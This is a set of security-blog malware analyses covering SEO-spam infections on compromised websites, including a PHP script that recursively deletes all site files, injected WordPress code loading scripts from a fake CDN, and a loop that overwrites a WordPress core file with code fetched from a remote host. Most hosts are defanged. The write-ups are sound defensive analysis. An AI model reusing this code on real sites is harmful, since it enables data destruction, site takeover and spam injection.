Soccer spam. Really?

In the last few months, we've covered several cases of SEO Spam in our labs and blog that were promoting products and services ranging from essay writing to sunglasses. From time to time, these Spam campaigns change and attackers focus on topics that may bring additional revenue. This time around, the topic was Soccer 🙂


During an Incident Response process, we found several files on the website's root folder that had nothing to do with the actual website content. Those files had PHP extensions and their filenames were either just numbers, e.g.: 1.php, 2.php, 5.php, ... or soccer team names; for instance, Real-Madrid.php, Barcelona.php, Chelsea.php, etc.

When accessing those files on a browser, we see an attempt to impersonate a Swedish online store, as you can see in the following screenshots:

In addition to that, there's a hidden iframe being loaded at the bottom pointing to hxxp://www[.]fabriksforsaljning[.]com (doesn't seem to exist anymore).

Remember that removing the offending files will not prevent your site to be attacked and infected again, since those files were uploaded using a backdoor or stolen/leaked credentials to your site. Check your access logs and ftp logs for any strange activity. This will help identifying any malicious code used to upload those files. Also, if you need professional security assistance to clean up your website, let us know.

SEO spam loading from external site

Many websites get compromised and used for SEO in order to drive traffic to other websites that would usually be ranked very low or completely removed by Google due to their content. Recently I found some malware pulling spam content from chinajianzhan[.]cn.


The script attackers injected is very simple, they just use the file_get_contents() function to access the crafted URL using a specific user-agent which then returns the spam content, this helps them hide the spam content from search engines.

Here is the snippet:

<?php set_time_limit(0);header("Content-Type: text/html;charset=gb2312");$Remote_server = "hxxp://www[.]chinajianzhan[.]cn/bc/";$host_name = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['PHP_SELF'];$userAgent = $_SERVER['HTTP_USER_AGENT'];$Content_mb = getHTTPPage($Remote_server . "/index.html?host=" . $host_name);echo $Content_mb;exit();function getHTTPPage($url) { $opts = array('http' => array('method' => "GET", 'header' => "User-Agent: aQ0O010O")); $context = stream_context_create($opts); $html = @file_get_contents($url, false, $context); if (empty($html)) { exit("<p align='center'><font color='red'><b>Connection Error!</b></font></p>"); } return $html;}

The original version of the code was encoded using vidun[.]com and the code was added to randomly named files like can.php and michao.php

Here is an excerpt of the original code:

<?php // This file is protected by copyright law & provided under license. Copyright(C) 2005-2009 www.vidun.com, All rights reserved. $OOO0O0O00=__FILE__;$OOO000000=urldecode('%74%68%36%7 (Trimmed) Vfe48R3E+wJL7eWp9eWpZcbO1FM4Ikoi0dBX7eWp9eWP=

We highly recommend keeping your WordPress up to date and making sure that all of your passwords are unique and secure, the impacts of SEO spam on your website can be very large, your website could rank lower in search results along with being blacklisted which can take many weeks to resolve.

PHP Script Nukes All Website Files

Most malware and spam that we come across has some sort of discernable purpose to it, usually something which benefits the attackers financially. This is often related to spam campaigns, credit card theft, spreading trojans/spyware or phishing scams. However, every so often we find something that defies this trend and is just downright evil. We found a PHP script named config-r.php in the root directory of a website that contained the following code:

<?php
//$dir = getcwd();
if ($_GET['id'] == 'red@<redacted>@delete') {
    $dir   = getcwd();
    $files = scandir($dir);
    if (@$_GET['doAction'] == 'delete') {
        rrmdir($dir);
    } else {
        echo '<br /><br /><a href="config-r.php?id=red@<redacted>@delete&doAction=delete">Yes, Delete AllFiles/Folders</a>';
    }
    echo "<br /><br />";
    echo "<pre>";
    print_r($files);
    echo "</pre>";
}
function rrmdir($dir1)
{
    if (is_dir($dir1)) {
        $objects = scandir($dir1);
        foreach ($objects as $object) {
            if ($object != "." && $object != "..") {
                if (filetype($dir1 . "/" . $object) == "dir") {
                    if ($object != 'config-r.php') {
                        rrmdir($dir1 . "/" . $object);
                    }
                } else {
                    if ($object != 'config-r.php') {
                        unlink($dir1 . "/" . $object);
                    }
                }
            }
        }
        reset($objects);
        @rmdir($dir1);
        echo '<br />Deleted All Files/Folders!<br />';
    }
}

This section of the code waits for the attacker to send a request to the php script:

if(@$_GET['doAction']=='delete')

Simply accessing this file in a web browser with doAction=delete added onto the URL and some sort of a pass code in the id parameter will recursively remove all website files and directories, effectively deleting the entire website file structure and contents. Interestingly, it does not remove the malicious php itself (config-r.php) and will remain on the server even after the big red button is pushed, so to speak.

Fortunately, the website on which we found this script was intact and the attackers had not yet nuked it into oblivion. My best guess is that whoever coded this either had an axe to grind against a particular website or just wanted to reap wanton destruction for the lulz.

If you don\'t want to leave your site existence at mercy of not so noble people, make sure you regularly back up your site and don\'t neglect website security.

WebSockets, Viagra and Fake CloudFlare CDN

Recently we’ve seen some WordPress websites displaying unwanted banners at the bottom of the page which appear 15 seconds after browsing the website. Those banners are being generated due to the following code being injected into the theme’s function.php files:

function add_js_scripts() {
    wp_enqueue_script('js-rws', 'hXXp://cloudflare[.]solutions/ajax/libs/reconnecting-websocket/1[.]0[.]0/reconnecting-websocket[.]js', '', null, true);
    wp_enqueue_script('js-cors', 'hXXp://cloudflare[.]solutions/ajax/libs/cors/cors[.]js', '', null, true);
}

add_action( 'wp_enqueue_scripts', 'add_js_scripts' );
add_action('admin_enqueue_scripts', 'add_js_scripts' );
add_action('login_enqueue_scripts', 'add_js_scripts' );

The code above uses WordPress core functions like wp_enqueue_script and add_action to inject external scripts into all WordPress pages (including admin and login pages).

The third-party scripts load from what looks like a CloudFlare CDN. And if you open the cloudflare[.]solutions site, you’ll see it says "This Server is part of Cloudflare Distribution Network." However, WHOIS says that the domain had been registered just on February 11, 2017 to a Russian company, Legato LLC and is now hosted in Ukraine on a server with IP 78.109.28.70.

The first injected script reconnecting-websocket.js is a copy of a legitimate ReconnectingWebSocket library. It’s not malicious. But the second injected script cors.js is more interesting. After decoding it, you may notice that it has a list of banner images saved on imgur.com image hosting.

var banners=[];
var bannercount=0;
var bannersSrc=["hXXPs://i.imgur[.]com/gXcct1z[.]jpg","hXXPs://i.imgur[.]com/FAdidSx.jpg","hXXPs://i.imgur[.]com/fGOvfDF.jpg","hXXPs://i.imgur[.]com/MjWLkNB.jpg","hXXPs://i.imgur[.]com/3On9O6O.jpg","hXXPs://i.imgur[.]com/cdBEiDU.jpg","hXXPs://i.imgur[.]com/xyKxCFG.jpg","hXXPs://i.imgur[.]com/BRSxZ96.jpg","hXXPs://i.imgur[.]com/NfyV72o.jpg","hXXPs://i.imgur[.]com/fcHTBav.jpg","hXXPs://i.imgur[.]com/5SsJqTM.jpg"];
var mobileBanners=["hXXPs://i.imgur[.]com/KRqvxk4.jpg","hXXPs://i.imgur[.]com/84mQCt4.jpg","hXXPs://i.imgur[.]com/hyblTs8[.]jpg","hXXPs://i.imgur[.]com/85tjX88.jpg"];

The script downloads the images, then waits for 15 seconds and loads them as banners that lead you to www[.]orderrealviagra[.]cc., rotating the images for every new page load. If a user clicks on the banner, or closes it (the banners have the close [x] button), the script sets the adwords-cookie-settings for the next 7 days and won’t show the banners for browsers with this cookie.

An interesting and quite rare feature of this script, is that it uses WebSocket protocol (that’s why they also inject the reconnecting-websocket.js library) instead of HTTP to communicate with its server: wss://cloudflare[.]solutions:8085 that uses a custom set of commands:

socket.send("cb*" + navigator.userAgent)
socket.send("rts*" + navigator.userAgent)
socket.send("rsbl*" + navigator.userAgent)
socket.send("msbl*" + navigator.userAgent)

Using new generic TLDs like .solutions is still quite uncommon. But not on this server. A reverse IP lookup revealed only one other site on this server (ardf[.]world) that also happen to use a new generic TLD (.world). Do these sites have the same owner or is it just a coincidence?

This case proves that malware may hide behind legit-looking URLs and you should carefully review all third-party resources that your site loads. Don’t forget that theme files are a very popular target for malware injections (the most popular for attacks that use stolen/bruteforced WordPress credentials) and you should monitor their integrity. Unauthorized changes are a strong indicator of a hack.

If you see your site showing unwanted banners or popups but can’t locate their source, you might want to have us scan your site for malware and clean it.

Spam content injection

During a recent incident response investigation, we detected an infected website loading spam content from another location. The malware was responsible for fetching the spam and displaying it on the front page without the client's knowledge or consent.


Let’s break down the infection and work through it step by step.

First, the malware sets the ignore_user_abort function to true in order to ensure that the user cannot stop the file execution and that the file will not time out by setting the set_time_limit to 0.

<html><body>Nic No Removed Ver0.5<?php    ignore_user_abort(true);    set_time_limit(0); 

Then an infinite loop checks and recreates the malicious file over and over again. After the loop has started, it will kick off the next phase and check if the  wp-blog-header.php file is writeable. This file was not arbitrarily chosen; wp-blog-header.php is a WordPress core file, which means that the malware will be successfully loaded every time the blog is accessed. Afterwards, it replaces the original core file with an infected version fetched from a remote location.

    while(1){          $path ="/var/www/vhosts/site.com/httpdocs/wp-blog-header.php";                if (is_writable($path) == false) {            unlink ($path);echo "del" ;            chmod($path,0777);        

}file_put_contents($path,file_get_contents("hXXp://ga-google[.]com/Nic/feng/infecteddomain.txt"));

This infected domain.txt contains a similar copy of the core file “wp-blog-header.php” but is injected with a typical spam-seo malware. The interesting part is that the attacker had a file for every site infected with his malicious code.
As you can see in the following code snippet, it checks for the user-agent and creates links to this pirated Windows site if it’s the search engine rendering the page.

<?php$tmp = strtolower($_SERVER['HTTP_USER_AGENT']);    $mysite = "http://victm-site.dom/";    $filename = "";    $fromsite = "hxxp://windowsiso[.]net/windows-7-iso/windows-7-download/professional-iso-7/";if (strpos($tmp, 'google') !== false || strpos($tmp, 'yahoo') !== false || strpos($tmp, 'aol') !== false || strpos($tmp, 'sqworm') !== false || strpos($tmp, 'bot') !== false) {    $ksite = !empty($_GET['p']) ? $_GET['p'] : "";    $list = array(        );    $listname = $filename . "?p=";    $liststr = "<div style='text-align: center'>";    foreach ($list as $key => $val) {      if ($ksite == $key) {            $fromsite = $val;      }      $liststr .= "<a href='" .$mysite .  $filename . "?p=" . $key . "'>" . $key . "</a>&nbsp;&nbsp;";    }    $liststr .= "</div>";    $url = empty($_GET['viewid']) ? "" : $_GET['viewid'];    $content = file_get_contents($fromsite . $url);    if (!empty($ksite)) {      $qstr = $filename . "?p=" . $ksite . "&viewid=";    } else {      $qstr = $filename . "?viewid=";    }    $repstr = $mysite . $qstr;    $content = str_ireplace('href="', 'href="/', $content);    $content = str_ireplace('href="//', 'href="/', $content);

This type of Malware is very common and can be used to inject many types of spam content into your website,causing an impact on your site’s SERP (Search Engine Result Pages). If you want to be sure that your website is not infected, or if you need help cleaning it up, let us know.

.user.ini SPAM SEO Redirect

Since PHP 5.3.0, PHP includes support for configuration INI files on a per-directory basis that has the same effect (depending on the case) that the .htaccess files have on Apache. With that in mind, attackers are exploiting this feature to manipulate the search engine results in order to benefit malicious websites and redirect users to arbitrary spam content.


The payload is based on specific directives being injected into ".user.ini"; hence it's executed before the site is rendered. On Spam SEO redirects that use ".htaccess" rules only, the payload result is visible in the browser and not the malicious code itself. However, in this particular case, we were able to detect the malicious code.

Following, are the directives injected into “.user.ini”:

; Directive 1...auto_prepend_file = '/tmp/.tmp/wrtZaCDz2'; END Directive 1

This type of .ini files doesn’t override all php.ini settings, however it allows attackers to use the auto_prepend directive, which will load a file that is parsed before the main php file. This file is included  by the require function. In this case auto_prepend_file was loading "/tmp/.tmp/wrtZaCDz2", which contained the following code:

<?php$mysqli_class = '/tmp/.tmp/wrtLaCDz7';$mysqli_init = file_get_contents($mysqli_class);$streams_cache = tmpfile();fwrite($streams_cache, gzuncompress($mysqli_init));$stream_id = stream_get_meta_data($streams_cache);include $stream_id['uri'];

After “gzuncompress()’ing” the content of the file "/tmp/.tmp/wrtLaCDz7", we get a malware that implements evasive techniques against different search engines, and assembles redirect links from the malicious website (hxxp://search-tracker[dot]com/in.cgi?7&parameter=$keyword&se=$se&ur=1).

This infection was found on servers running nginx, but as long as the ability to use .user.ini files is enabled, there’s a chance attackers may use it to take advantage of your resources. If you are not using the feature, we highly recommend disabling it to prevent any issues.

Checking blacklisted domains or IP for spamming

Often times we will encounter websites that have been injected with a redirect and these can vary from blackhat SEO tactics for boosting domain rankings all the way to phishing pages trying to steal login credentials. In this case, the redirect was contained within random alphanumerically named PHP files and it redirected visitors to the specified files and then to a pharmacy spam website that contained all of the drug names that you will commonly see in your emails located within your spam folder. This seems to indicate that the attacker was spamming from other third-party servers and within the pharmacy spam email they would include the URLs to the malicious file on our client’s web server. Let us analyze parts of this malicious file:


if($_GET['mod']){if($_GET['mod']=='0XX' OR $_GET['mod']=='00X'){$g_sch=file_get_contents('http://www.google.com/safebrowsing/diagnostic?output=jsonp&site=http%3A%2F%2F'.$_SERVER['HTTP_HOST'].'%2F');$g_sch = str_replace('"listed"', '', $g_sch, $g_out);if($g_out){header('HTTP/1.1 202');exit;}}}header('Location: http://[malicious domain]/');

The payload that is delivered to an unsuspecting visitor is a browser redirect in the form of the ‘header’ PHP function to a malicious domain. This same malicious file with the redirect will be placed on multiple websites that have been compromised already, then the attacker will direct traffic via hyperlinks in the outgoing spam emails to the compromised websites hosting the malicious file with the redirect. The goal of the attacker is to try and trick spam filters by using legitimate websites that have been compromised and contain the malicious redirect instead of using their actual pharmacy spam website within the spam email. If they did include their pharmacy spam website URL directly in the outgoing spam emails, then it would not be long until the spam filters (i.e Spamhaus) blacklist the entire domain name of the pharmacy spam website.

Another problem is that if the compromised websites, or their hosting IPs, become blacklisted then it will be detected by spam filters and also prevent delivery of the spam email due to them containing blacklisted content.

This means that the hacker will want to be able to regularly check upon the referring websites that contain the malicious redirect file and determine whether they have become blacklisted or not. In this specific malicious file, the blacklist checks were triggered through a $_GET request to the malicious file with a specified URL parameter. After such a request is received, it will trigger the PHP file to use the file_get_content function to obtain the output of the text version of Google SafeBrowsing Diagnostics page.  

if($_GET['mod']){if($_GET['mod']=='0XX' OR $_GET['mod']=='00X'){$g_sch=file_get_contents('http://www.google.com/safebrowsing/diagnostic?output=jsonp&site=http%3A%2F%2F'.$_SERVER['HTTP_HOST'].'%2F');

Once a compromised referring website shows as blacklisted, or its hosting IP shows as blacklisted, then the hacker can stop redirecting from that domain or IP to prevent any negative impacts on their targeted domain.

As mentioned earlier, there are usually many compromised websites being used to refer/redirect to the targeted domain, and so to be efficient along with automating tasks; the attacker will then create a cron job or other scheduled task to send the $_GET request to the malicious file and based upon the returned HTTP code they will be able to determine whether the website or hosting IP address has been blacklisted. If it returns a 202 HTTP code when the cron job executes the $_GET request with the necessary URL parameter, then that means it is blacklisted by Google. Often times these cron jobs will output the results of the $_GET request into a file so it can be monitored over a period of time, but by default the cron job will send an email to the configured email address after each time the cron runs. Below is an example of such a cron job that runs every minute and stores the specific numerical HTTP code from the $_GET sent to the malicious redirect file on the compromised website:

# crontab -l* * * * * curl -sD - "http://localhost/malware.php?mod=00X" | grep HTTP | awk '{print $2}' > /tmp/http.txt

The following coding excerpt from the malicious redirect file shows how the script will immediately exit/terminate if it responds to a $_GET request with the HTTP code 202, which means there is a blacklisting active:

$g_sch = str_replace('"listed"', '', $g_sch, $g_out);if($g_out){header('HTTP/1.1 202');exit;}}}

The automated blacklist checking helps the attacker by allowing them to avoid sending their spam emails with blacklisted domains or blacklisted IP addresses as they are well aware that this curtails upon their redirect success rate.